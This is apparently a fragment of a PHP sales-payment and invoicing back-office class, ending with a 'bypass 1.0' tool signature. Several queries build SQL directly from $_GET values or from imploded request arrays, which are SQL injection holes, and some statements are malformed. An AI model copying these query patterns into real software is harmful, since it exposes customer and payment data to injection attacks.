  function InsertsalesPayment($objArray){
  global $objSmarty;


  if($objArray['sales_quote_no']){ 

$UpQuery = 'UPDATE `micromak_sales_payment_master` SET `pending_amount` = "'.trim(addslashes($objArray['bal_amount'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
 if($objArray['mop'] == cash)
 {		
 $InsQuery = 'INSERT INTO `micromak_sales_payment_details`( `pay_ref_id`,`sales_quote_no`,`billing_amount`, `invoice_no`,`customer_id`,`payment_amount`,`paid_amount`, `paid_date`, `payment_mode`, `balance_amount`,`payment_status`,`word`) VALUES("'.trim(addslashes($objArray['pay_ref_id'])).'","'.trim(addslashes($objArray['sales_quote_no'])).'","'.trim(addslashes($objArray['bill_amount'])).'","'.trim(addslashes($objArray['invoice_no'])).'","'.trim(addslashes($objArray['customer_id'])).'","'.trim(addslashes($objArray['curr_amount'])).'","'.trim(addslashes($objArray['curr_amount'])).'","'.trim(addslashes($objArray['bill_date1'])).'","'.trim(addslashes($objArray['mop'])).'","'.trim(addslashes($objArray['bal_amount'])).'",0,"'.trim(addslashes($objArray['rupees_word'])).'")';
 $this->ExecuteQuery($InsQuery, 'insert');
 }
 
 if($objArray['mop'] == cheque)
 {
  $InsQuery1 = 'INSERT INTO `micromak_sales_payment_details`( `pay_ref_id`,`sales_quote_no`,`billing_amount`, `invoice_no`,`customer_id`,`payment_amount`,`paid_amount`, `paid_date`, `payment_mode`, `balance_amount`,`payment_status`,`bank`,`cheque_date`,`reference_no`,`word`) VALUES("'.trim(addslashes($objArray['pay_ref_id'])).'","'.trim(addslashes($objArray['sales_quote_no'])).'","'.trim(addslashes($objArray['bill_amount'])).'","'.trim(addslashes($objArray['invoice_no'])).'","'.trim(addslashes($objArray['customer_id'])).'","'.trim(addslashes($objArray['curr_amount'])).'","'.trim(addslashes($objArray['curr_amount'])).'","'.trim(addslashes($objArray['bill_date1'])).'","'.trim(addslashes($objArray['mop'])).'","'.trim(addslashes($objArray['bal_amount'])).'",0,"'.trim(addslashes($objArray['bank'])).'","'.trim(addslashes($objArray['cheque_date'])).'","'.trim(addslashes($objArray['ref_no'])).'","'.trim(addslashes($objArray['rupees_word'])).'")';
  $this->ExecuteQuery($InsQuery1, 'insert');
  }
  
						 if( trim(addslashes($objArray['bal_amount']))<=0)
						 {
						 $UpQuery = 'UPDATE `micromak_sales_payment_master` SET `payment_status` = 1 WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		 $UpQuery1 = 'UPDATE `micromak_sales_payment_details` SET `payment_status` = 1 WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery1, 'update');
		$UpQuery1 = 'UPDATE `micromak_sales_quote_master` SET `payment_status` = 1 WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery1, 'update');
						 }
 
   //header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_insert');
   header('Location:./sales_make_payment.php?sales_quote_no='.$objArray['sales_quote_no']);
}
}
  /* update the discunt*/
  function InsertDiscount($objArray){
  global $objSmarty;
  
  if($objArray['sales_quote_no'] && $objArray['customer_id']  ){
		$UpQuery = 'UPDATE `micromak_sales_payment_master` SET `discount_percentage` = "'.trim(addslashes($objArray['discount_percentage'])).'", `discount_amount` = "'.trim(addslashes($objArray['discount_amount'])).'", `tax_percentage` = "'.trim(addslashes($objArray['tax_percentage'])).'",  `dis_rate` = "'.trim(addslashes($objArray['dis_uni_rate'])).'",`net_aft_dis` = "'.trim(addslashes($objArray['dis_amount_total'])).'", `billing_amount` = "'.trim(addslashes($objArray['bill_amount'])).'",`pending_amount` = "'.trim(addslashes($objArray['bill_amount'])).'", `tax_amount` = "'.trim(addslashes($objArray['tax_amount'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
	
	$UpQuery = 'UPDATE `micromak_sales_quote_master` SET `dis_per` = "'.trim(addslashes($objArray['discount_percentage'])).'", `dis_val` = "'.trim(addslashes($objArray['discount_amount'])).'", `tax_per` = "'.trim(addslashes($objArray['tax_percentage'])).'",  `total_cost` = "'.trim(addslashes($objArray['bill_amount'])).'", `tax_val` = "'.trim(addslashes($objArray['tax_amount'])).'" = "'.trim(addslashes($objArray['email'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		$UpQuery = 'UPDATE `micromak_sales_payment_details` SET `billing_amount` = "'.trim(addslashes($objArray['bill_amount'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		$UpQuery = 'UPDATE `micromak_sales_payment_master` SET `discount_status` = 1 WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		$UpQuery = 'UPDATE `micromak_sales_quote_master` SET `discount_status` = 1 WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		
		header('Location:./sales_details_view.php?sales_quote_no='.$objArray['sales_quote_no']);
		}
		} 
 /* Edit the Static Page */
 function EditSales($objArray){
  global $objSmarty;
   if(!$objArray['sales_quote_no']){
    $objSmarty->assign('ErrorMessage', 'Sales Quote Number should not be blank');
	return false;
   }elseif(!$objArray['quote_date']){
    $objSmarty->assign('ErrorMessage', 'Quote Date should not be blank');
	return false;
   }elseif(!$objArray['invoice_no']){
    $objSmarty->assign('ErrorMessage', 'Invoice No should not be blank');
	return false;
   }elseif(!$objArray['cusid']){
    $objSmarty->assign('ErrorMessage', 'Customer Id should not be blank');
	return false;
   }elseif(!$objArray['c_name']){
    $objSmarty->assign('ErrorMessage', 'Customer Name should not be blank');
	return false;
   }elseif(!$objArray['c_person']){
    $objSmarty->assign('ErrorMessage', 'Contact Person should not be blank');
	return false;
   }elseif(!$objArray['c_type']){
    $objSmarty->assign('ErrorMessage', 'Customer Type should not be blank');
	return false;
   }elseif(!$objArray['model']){
    $objSmarty->assign('ErrorMessage', 'Model Type should not be blank');
	return false;
   }elseif(!$objArray['rate']){
    $objSmarty->assign('ErrorMessage', 'Rate should not be blank');
	return false;
   }elseif(!$objArray['make']){
    $objSmarty->assign('ErrorMessage', 'Make should not be blank');
	return false;
   }elseif(!$objArray['remarks']){
    $objSmarty->assign('ErrorMessage', 'Remarks should not be blank');
	return false;
   }   



	   if($objArray['sales_quote_no'] && $objArray['cusid']  ){
	   
	   $UpQuery = 'UPDATE `micromak_sales_quote_master` SET `sales_quote_no` = "'.trim(addslashes($objArray['sales_quote_no'])).'", `invoice_no` = "'.trim(addslashes($objArray['invoice_no'])).'", `quote_date` = "'.trim(addslashes($objArray['quote_date'])).'",  `customer_id` = "'.trim(addslashes($objArray['cusid'])).'", `customer_name` = "'.trim(addslashes($objArray['c_name'])).'",`contact_person` = "'.trim(addslashes($objArray['c_person'])).'", `customer_type` = "'.trim(addslashes($objArray['c_type'])).'", `product_type` = "'.trim(addslashes($objArray['type'])).'",  `make` = "'.trim(addslashes($objArray['make'])).'", `rate` = "'.trim(addslashes($objArray['rate'])).'",`capacity` = "'.trim(addslashes($objArray['capacity'])).'", `backup` = "'.trim(addslashes($objArray['backup'])).'",`remarks` = "'.trim(addslashes($objArray['remarks'])).'", `quantity` = "'.trim(addslashes($objArray['qnty'])).'",  `net_bfr_dis` = "'.trim(addslashes($objArray['cstestimation'])).'",`cost_estimation` = "'.trim(addslashes($objArray['cstestimation'])).'", `total_cost` = "'.trim(addslashes($objArray['tot_amount'])).'",`tax_per` = "'.trim(addslashes($objArray['tax_per'])).'",`model` = "'.trim(addslashes($objArray['model'])).'", `tax_val` = "'.trim(addslashes($objArray['tax_val'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		
  
  $UpQuery = 'UPDATE `micromak_sales_payment_master` SET `sales_quote_no` = "'.trim(addslashes($objArray['sales_quote_no'])).'", `dis_rate` = "'.trim(addslashes($objArray['rate'])).'", `quote_date` = "'.trim(addslashes($objArray['quote_date'])).'",  `customer_id` = "'.trim(addslashes($objArray['cusid'])).'", `customer_name` = "'.trim(addslashes($objArray['c_name'])).'",`product` = "'.trim(addslashes($objArray['type'])).'",`rate` = "'.trim(addslashes($objArray['rate'])).'", `no_of_products` = "'.trim(addslashes($objArray['qnty'])).'",  `amount` = "'.trim(addslashes($objArray['cstestimation'])).'", `discount_percentage` = "'.trim(addslashes($objArray['discount_percentage'])).'", `discount_amount` = "'.trim(addslashes($objArray['discount_amount'])).'", `tax_amount` = "'.trim(addslashes($objArray['tax_val'])).'",`tax_percentage` = "'.trim(addslashes($objArray['tax_per'])).'",`net_bfr_dis` = "'.trim(addslashes($objArray['cstestimation'])).'", `net_aft_dis` = "'.trim(addslashes($objArray['cstestimation'])).'",`total_amount` = "'.trim(addslashes($objArray['tot_amount'])).'", `billing_amount` = "'.trim(addslashes($objArray['tot_amount'])).'",`pending_amount` = "'.trim(addslashes($objArray['tot_amount'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		
	                
		header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_update'."&"."sales_quote_no=".$objArray['sales_quote_no']);
		return true;
	   }


 }
 

 
 /* Display the Static Page */
 function GetAmcById(){
  global $objSmarty;
/*  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);*/
  $SelQuery		= 'SELECT max(device_id) FROM `micromak_amc_reg_master` Limit 0,1';
  $DevDetail		= $this->ExecuteQuery($SelQuery, 'select');
  $DevDetail[0]['device_id'] = stripslashes($DevDetail[0]['device_detail']);
  $objSmarty->assign('hdevice_id', stripslashes($DevDetail[0]['device_id']));
  $val = intval(substr($DevDetail[0]['device_id'],0,4), 5);
  $objSmarty->assign('d_id', $DevDetail[0]['device_id']);
 /* 
  $DevDetail[0]['type'] = stripslashes($DevDetail[0]['type']);
  $objSmarty->assign('type', $DevDetail[0]['type']);
  
  $DevDetail[0]['model'] = stripslashes($DevDetail[0]['model']);
  $objSmarty->assign('model', $DevDetail[0]['model']);
  
  $DevDetail[0]['txttitle'] = stripslashes($DevDetail[0]['txttitle']);
  $objSmarty->assign('txttitle', $DevDetail[0]['txttitle']);
  
  $DevDetail[0]['image'] = stripslashes($DevDetail[0]['image']);
  $objSmarty->assign('image', $DevDetail[0]['image']);
  
  $DevDetail[0]['image_view'] = stripslashes($DevDetail[0]['image_view']);
  $objSmarty->assign('image_view', $DevDetail[0]['image_view']);
  
  $DevDetail[0]['image_model1'] = stripslashes($DevDetail[0]['image_model1']);
  $objSmarty->assign('image_model1', $DevDetail[0]['image_model1']);
  
   $DevDetail[0]['image_model2'] = stripslashes($DevDetail[0]['image_model2']);
  $objSmarty->assign('image_model2', $DevDetail[0]['image_model2']);
  
   $DevDetail[0]['image_model3'] = stripslashes($DevDetail[0]['image_model3']);
  $objSmarty->assign('image_model3', $DevDetail[0]['image_model3']);
  
  $DevDetail[0]['content'] = stripslashes($DevDetail[0]['content']);
  $oFCKeditor->Value = $DevDetail[0]['content'];
  $objSmarty->assign('content', $DevDetail[0]['content']);
  $objSmarty->assign('Editor', '$Editor');
  return $DevDetail[0]['content'];*/
 }


 /* Activate, Deactivate and Delete for the Static Pages */
 function ActiveContent($objArray){
  global $objSmarty;

  if(!empty($objArray['ConId']) && is_array($objArray['ConId']))
   $BanIds		= implode(',' , $objArray['ConId']);
  else
   $objSmarty->assign('ErrorMessage', 'No Content Selected');
  if(!empty($BanIds))
   switch($objArray['Submit']){
    case 'Delete':
	 $DelQuery = 'DELETE FROM `micromak_amc_reg_master` WHERE `id` IN ( '.$BanIds.' )' ;
	 $this->ExecuteQuery($DelQuery, 'delete');
	 $objSmarty->assign('SuccessMessage', 'Deleted Successfully');
	 break;
	case 'Active':
	 $UpQuery = 'UPDATE `micromak_amc_reg_master` SET `status` =1 WHERE `id` IN (' . $BanIds . ')' ;
	 $this->ExecuteQuery($UpQuery, 'update');
	 $objSmarty->assign('SuccessMessage', 'The Contents Activated Successfully');
	 break;
	case 'InActive':
	 $UpQuery = 'UPDATE `micromak_amc_reg_master` SET `status` =0 WHERE `id` IN (' . $BanIds . ')' ;
	 $this->ExecuteQuery($UpQuery, 'update');
	 $objSmarty->assign('SuccessMessage', 'The Contents In-Activated Successfully');
	 break;
   }
 }
  /* Pay Device Amount, Payment status for the Static Pages */

		function GetinvoiceToPrint($objArray='')  
	{
		global $objSmarty;
		$PrintQuery = 'SELECT micromak_sales_payment_master.*, micromak_sales_quote_master.*, micromak_cus_reg_master.* FROM `micromak_sales_payment_master`,`micromak_sales_quote_master`, `micromak_cus_reg_master` WHERE micromak_cus_reg_master.customer_id = micromak_sales_payment_master.customer_id AND micromak_sales_payment_master.sales_quote_no ="'.$_GET['sales_quote_no'].'" AND micromak_sales_quote_master.sales_quote_no ="'.$_GET['sales_quote_no'].'"' ;
		$SALESList		= $this->ExecuteQuery($PrintQuery, "select");
		$total_records = count($SALESList);
		$record_per_page = $this->Limit;
		 if(!empty($SALESList) && is_array($SALESList))
		{
			$objSmarty->assign("SALESList",$SALESList);
			return $SALESList;
		}
		else{
			return false;
		}
   }
   function GetReceipt(){
   global $objSmarty;
  		$SelQuery1 = 'SELECT * FROM `micromak_sales_payment_details` WHERE `sales_quote_no`="'.$_GET['sales_qut_no'].'" AND `pay_ref_id`="'.$_GET['pay_ref'].'"';
		$PrintList		= $this->ExecuteQuery($SelQuery1, "select");	
		$objSmarty->assign('PrintList', $PrintList);
 
 		$SelQuery2 = 'SELECT * FROM `micromak_sales_payment_master` WHERE `sales_quote_no`="'.$_GET['sales_qut_no'].'"  LIMIT 0,1' ;
		$PageList_Pay_Mstr		= $this->ExecuteQuery($SelQuery2, "select");		
		$objSmarty->assign('PageList_Pay_Mstr', $PageList_Pay_Mstr);
		
   }
   
   	function GetReceiptToPrint($objArray=''){
		global $objSmarty;
		$PrintQuery1 = 'SELECT micromak_sales_payment_master.*, micromak_cus_reg_master.* FROM `micromak_sales_payment_master`, `micromak_cus_reg_master` WHERE micromak_cus_reg_master.customer_id = micromak_sales_payment_master.customer_id AND micromak_sales_payment_master.sales_quote_no ="'.$_GET['sales_quote_no'].'"  AND `pay_ref_id`="'.$_GET['pay_ref_id'].'"' ;
		$PrintList		= $this->ExecuteQuery($PrintQuery1, "select");
			$objSmarty->assign("PrintList",$PrintList);
			return $PrintList;
	}
/* Get the AMC View To Print Content list */
 	function GetSalesToPrint($objArray='')  
	{
	
		global $objSmarty;
		$PrintQuery = 'SELECT micromak_sales_quote_master.*,micromak_sales_payment_master.*,micromak_cus_reg_master.* FROM `micromak_sales_quote_master`,`micromak_sales_payment_master`,`micromak_cus_reg_master` WHERE micromak_cus_reg_master.customer_id = micromak_sales_quote_master.customer_id AND micromak_sales_payment_master.sales_quote_no ="'.$_GET['sales_quote_no'].'" AND micromak_sales_quote_master.sales_quote_no = micromak_sales_payment_master.sales_quote_no' ;
		$SALESList		= $this->ExecuteQuery($PrintQuery, "select");
		$total_records = count($SALESList);
		$record_per_page = $this->Limit;
		 if(!empty($SALESList) && is_array($SALESList))
		{
			$objSmarty->assign("SALESList",$SALESList);
		//	return $SALESList;
		}
		else{
			return false;
		}
   }	
	
		function RoleList(){
	global $objSmarty;
	 $SelQuery1	= 'SELECT role_name FROM micromak_group_mapping WHERE `group_name` = "'.$_SESSION['USER_GROUP'].'" ORDER BY sl_no';
	  $RL		= $this->ExecuteQuery($SelQuery1, "select");
		
  if(!empty($RL) && is_array($RL))
   foreach($RL as $key=>$value){
    $RL[$key]['role_id'] = stripslashes($RL[$key]['role_id']);
	$RL[$key]['role_name'] = stripslashes($RL[$key]['role_name']);
	$objSmarty->assign('RL', $RL);
  return $RL;
		}
	}
	
	
///* /* Insert the content for  Static Pages */
//// function InsertSalePayment($objArray){
//  global $objSmarty;
//   if(!$objArray['sales_quote_no']){
//    $objSmarty->assign('ErrorMessage', 'Sales Quote Number should not be blank');
//	return false;
//   }elseif(!$objArray['bill_date']){
//    $objSmarty->assign('ErrorMessage', 'B illDate should not be blank');
//	return false;
//   }elseif(!$objArray['bill_am']){
//    $objSmarty->assign('ErrorMessage', 'Bill Amount should not be blank');
//	return false;
//   }elseif(!$objArray['curr_amount']){
//    $objSmarty->assign('ErrorMessage', 'Current Amount should not be blank');
//	return false;
//   }elseif(!$objArray['bal_amount']){
//    $objSmarty->assign('ErrorMessage', 'Balance Amount should not be blank');
//	return false;
//   }elseif(!$objArray['ref_no']){
//    $objSmarty->assign('ErrorMessage', 'Reference No should not be blank');
//	return false;
//   }
//   //*************************** Insert Device Reg Master *********************************************
//   
//	
//	$UpQuery = 'UPDATE `micromak_sales_payment_details` SET `payment_amount` = "'.trim(addslashes($objArray['bal_amount'])).'", `paid_amount` = "'.trim(addslashes($objArray['curr_amount'])).'", `payment_mode` = "'.trim(addslashes($objArray['mop'])).'",  `reference_no` = "'.trim(addslashes($objArray['ref_no'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
//		$this->ExecuteQuery($UpQuery, 'update');
//	
//	
//	
//		header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_update'."&"."sales_quote_no=".$objArray['sales_quote_no']);
//		return true;
//	*/
	function approve_sales_status($data){
	global $objSmarty;
	$UpQuery = 'UPDATE `micromak_sales_quote_master` SET `approve_status` = 1 WHERE sales_quote_no="'.$_GET['sales_qut_no'].'"  ';
	$RSLT=$this->ExecuteQuery($UpQuery, 'update');
	if ($RSLT==1)
	{echo "Approved Successfully";}
	else 
	{echo "Operation Failed";}
	
	
	}


function InsertInvoice1($objArray){
  global $objSmarty;
//print_r ($objArray);
  if($objArray['sales_quote_no']){ 
		$UpQuery = 'UPDATE `micromak_sales_payment_master` SET `invoice_no` = "'.trim(addslashes($objArray['inv_no'])).'",`serial_no` = "'.trim(addslashes($objArray['serial_no'])).'", `invoice_date` = "'.trim(addslashes($objArray['in_date'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
	// echo $UpQuery;
	$UpQuery = 'UPDATE `micromak_sales_quote_master`  SET `invoice_no` = "'.trim(addslashes($objArray['inv_no'])).'",`serial_no` = "'.trim(addslashes($objArray['serial_no'])).'", `invoice_date` = "'.trim(addslashes($objArray['in_date'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
		$UpQuery = 'UPDATE `micromak_sales_payment_details`  SET `invoice_no` = "'.trim(addslashes($objArray['inv_no'])).'", `serial_no` = "'.trim(addslashes($objArray['serial_no'])).'",`invoice_date` = "'.trim(addslashes($objArray['in_date'])).'" WHERE `sales_quote_no` ="'.trim(addslashes($objArray['sales_quote_no'])).'"';
		$this->ExecuteQuery($UpQuery, 'update');
	
		}
		} 
		
		}
		
?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net